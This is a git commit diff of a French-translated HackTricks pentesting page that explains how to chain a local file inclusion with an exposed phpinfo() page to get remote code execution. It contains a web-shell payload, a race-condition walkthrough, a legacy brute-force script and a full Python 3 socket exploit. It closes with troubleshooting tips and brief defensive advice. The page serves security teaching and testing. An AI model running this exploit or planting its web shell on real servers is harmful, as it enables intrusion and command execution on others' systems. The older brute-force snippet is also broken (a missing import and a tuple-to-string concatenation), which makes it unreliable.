Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md']

This commit is contained in:
Translator 2025-09-30 00:52:45 +00:00
parent a0a9333956
commit 0a8a3ca6ca

View File

@ -1,55 +1,160 @@
# LFI to RCE via PHPInfo
{{#include ../../banners/hacktricks-training.md}}
Pour exploiter cette vulnérabilité, vous avez besoin de : **Une vulnérabilité LFI, une page où phpinfo() est affiché, "file_uploads = on" et le serveur doit pouvoir écrire dans le répertoire "/tmp".**
Pour exploiter cette technique, vous avez besoin de tous les éléments suivants :
- Une page accessible qui affiche la sortie de phpinfo().
- Un primitive Local File Inclusion (LFI) que vous contrôlez (par ex., include/require sur une entrée utilisateur).
- Les uploads de fichier PHP activés (file_uploads = On). Tout script PHP acceptera les uploads multipart RFC1867 et créera un fichier temporaire pour chaque partie uploadée.
- Le worker PHP doit pouvoir écrire dans upload_tmp_dir configuré (ou dans le répertoire temporaire système par défaut) et votre LFI doit pouvoir inclure ce chemin.
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
Compte-rendu classique et PoC original :
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Nom du script PoC original : phpinfolfi.py (voir whitepaper et mirrors)
**Tutoriel HTB** : [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
Tutoriel HTB : https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Vous devez corriger l'exploit (changer **=>** pour **=>**). Pour ce faire, vous pouvez faire :
Remarques à propos du PoC original
- La sortie de phpinfo() est encodée en HTML, donc la flèche "=>" apparaît souvent comme "=>". Si vous réutilisez des scripts anciens, assurez-vous quils recherchent les deux encodages lors du parsing de la valeur _FILES[tmp_name].
- Vous devez adapter le payload (votre code PHP), REQ1 (la requête vers le endpoint phpinfo() incluant le padding), et LFIREQ (la requête vers votre sink LFI). Certaines cibles nont pas besoin dun terminateur null-byte (%00) et les versions modernes de PHP ne le respecteront pas. Ajustez LFIREQ en conséquence pour le sink vulnérable.
Exemple sed (à nutiliser que si vous utilisez vraiment lancien PoC Python2) pour matcher la flèche encodée en HTML :
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
```
Vous devez également changer le **payload** au début de l'exploit (pour un php-rev-shell par exemple), le **REQ1** (cela doit pointer vers la page phpinfo et doit inclure le padding, c'est-à-dire : _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), et **LFIREQ** (cela doit pointer vers la vulnérabilité LFI, c'est-à-dire : _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Vérifiez le double "%" lors de l'exploitation du caractère nul)
{{#file}}
LFI-With-PHPInfo-Assistance.pdf
{{#endfile}}
### Théorie
## Théorie
Si les téléchargements sont autorisés en PHP et que vous essayez de télécharger un fichier, ce fichier est stocké dans un répertoire temporaire jusqu'à ce que le serveur ait terminé de traiter la demande, puis ce fichier temporaire est supprimé.
- Lorsque PHP reçoit un POST multipart/form-data avec un champ fichier, il écrit le contenu dans un fichier temporaire (upload_tmp_dir ou le défaut du système) et expose le chemin dans $_FILES['<field>']['tmp_name']. Le fichier est automatiquement supprimé à la fin de la requête sauf s'il est déplacé/renommé.
- L'astuce consiste à connaître le nom temporaire et à l'inclure via votre LFI avant que PHP ne le nettoie. phpinfo() affiche $_FILES, y compris tmp_name.
- En gonflant les headers/paramètres de la requête (padding), vous pouvez provoquer le flush des premiers morceaux de la sortie de phpinfo() vers le client avant la fin de la requête — ainsi vous pouvez lire tmp_name pendant que le fichier temporaire existe encore, puis immédiatement appeler le LFI avec ce chemin.
Ensuite, si vous avez trouvé une vulnérabilité LFI dans le serveur web, vous pouvez essayer de deviner le nom du fichier temporaire créé et exploiter un RCE en accédant au fichier temporaire avant qu'il ne soit supprimé.
Sous Windows, les fichiers temporaires se trouvent généralement sous quelque chose comme C:\\Windows\\Temp\\php*.tmp. Sous Linux/Unix ils sont généralement dans /tmp ou dans le répertoire configuré dans upload_tmp_dir.
Dans **Windows**, les fichiers sont généralement stockés dans **C:\Windows\temp\php**
## Déroulement de l'attaque (étape par étape)
Dans **linux**, le nom du fichier est généralement **aléatoire** et situé dans **/tmp**. Comme le nom est aléatoire, il est nécessaire d'**extraire d'une manière ou d'une autre le nom du fichier temporaire** et d'y accéder avant qu'il ne soit supprimé. Cela peut être fait en lisant la valeur de la **variable $\_FILES** à l'intérieur du contenu de la fonction "**phpconfig()**".
**phpinfo()**
**PHP** utilise un tampon de **4096B** et lorsqu'il est **plein**, il est **envoyé au client**. Ensuite, le client peut **envoyer** **beaucoup de grandes requêtes** (en utilisant de grands en-têtes) **téléchargeant un php** reverse **shell**, attendre que **la première partie de phpinfo() soit renvoyée** (où le nom du fichier temporaire se trouve) et essayer d'**accéder au fichier temporaire** avant que le serveur php ne supprime le fichier en exploitant une vulnérabilité LFI.
**Script Python pour essayer de brute-forcer le nom (si la longueur = 6)**
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
1) Préparez un tiny PHP payload qui persiste un shell rapidement pour éviter de perdre la course (écrire un fichier est généralement plus rapide que d'attendre un reverse shell):
```
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
```
2) Send a large multipart POST directly to the phpinfo() page so it creates a temp file that contains your payload. Inflate various headers/cookies/params with ~510KB of padding to encourage early output. Make sure the form field name matches what youll parse in $_FILES.
3) While the phpinfo() response is still streaming, parse the partial body to extract $_FILES['<field>']['tmp_name'] (HTML-encoded). As soon as you have the full absolute path (e.g., /tmp/php3Fz9aB), fire your LFI to include that path. If the include() executes the temp file before it is deleted, your payload runs and drops /tmp/.p.php.
4) Use the dropped file: GET /vuln.php?include=/tmp/.p.php&x=id (or wherever your LFI lets you include it) to execute commands reliably.
> Tips
> - Use multiple concurrent workers to increase your chances of winning the race.
> - Padding placement that commonly helps: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Tune per target.
> - If the vulnerable sink appends an extension (e.g., .php), you dont need a null byte; include() will execute PHP regardless of the temp file extension.
## Minimal Python 3 PoC (socket-based)
Le snippet ci-dessous se concentre sur les parties critiques et est plus facile à adapter que le script legacy Python2. Personnalisez HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.
```python
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
```
## Dépannage
- Vous ne voyez jamais tmp_name : Assurez-vous d'envoyer vraiment un POST multipart/form-data à phpinfo(). phpinfo() n'affiche $_FILES que lorsqu'un champ d'upload était présent.
- La sortie ne se vide pas immédiatement : augmentez le padding, ajoutez des en-têtes plus volumineux, ou envoyez plusieurs requêtes concurrentes. Certaines SAPIs/buffers ne se vident pas avant des seuils plus élevés ; ajustez en conséquence.
- LFI path bloqué par open_basedir ou chroot : vous devez pointer le LFI vers un chemin autorisé ou passer à un autre vecteur LFI2RCE.
- Répertoire temporaire différent de /tmp : phpinfo() affiche le chemin absolu complet tmp_name ; utilisez ce chemin exact dans le LFI.
## Notes défensives
- Ne jamais exposer phpinfo() en production. Si nécessaire, restreignez l'accès par IP/authentification et supprimez-le après usage.
- Gardez file_uploads désactivé si non nécessaire. Sinon, restreignez upload_tmp_dir à un chemin non atteignable par include() dans l'application et appliquez une validation stricte sur tout chemin include/require.
- Considérez tout LFI comme critique ; même sans phpinfo(), d'autres chemins LFI→RCE existent.
## Related HackTricks techniques
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
## Références
- LFI With PHPInfo() Assistance whitepaper (2011) miroir Packet Storm: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- Manuel PHP téléversements par la méthode POST : https://www.php.net/manual/en/features.file-upload.post-method.php
{{#include ../../banners/hacktricks-training.md}}